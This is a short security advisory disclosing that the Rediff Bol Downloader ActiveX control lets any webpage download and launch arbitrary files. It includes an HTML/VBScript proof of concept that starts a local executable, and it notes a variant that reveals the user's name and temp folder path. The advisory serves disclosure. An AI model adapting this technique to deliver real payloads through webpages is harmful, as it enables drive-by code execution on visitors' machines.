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| Rediff Bol Downloader ActiveX control allows any webpage to download and spawn file. These file can be of any type. No filtering is done. Internet Explorer displays an alert, if the code points to a executable file on the Internet, however, execution of local files displays no alert. |
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Credit:
The information has been provided by gregory_panakkal.
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Proof of Concept:
[OBJECT id="rboldwn" WIDTH=445 HEIGHT=40
classid="clsid:BADA82CB-BF48-4D76-9611-78E2C6F49F03"
codebase="http://imdownloads.rediff.com/newbol/Bol.CAB"]
[/OBJECT]
[script language="vbscript"]
rboldwn.url = "file://C:/WINNT/Notepad.exe"
rboldwn.fontsize = 14
rboldwn.barcolor = EE4E00
rboldwn.start = "start"
[/script]
A variation of this, allows downloading a HTML File that can disclose the path to the local temporary internet files folder. It can disclose the Logged in User's username. A typical path to Temporary Internet Files folder is.. C:\Documents and Settings\<username>\Local Settings\Temporary Internet Files
Online Info + Demo:
http://www.infogreg.com/security/misc/rediff-bol-downloader-allows-downloading-and-spawning-arbitary-files.html
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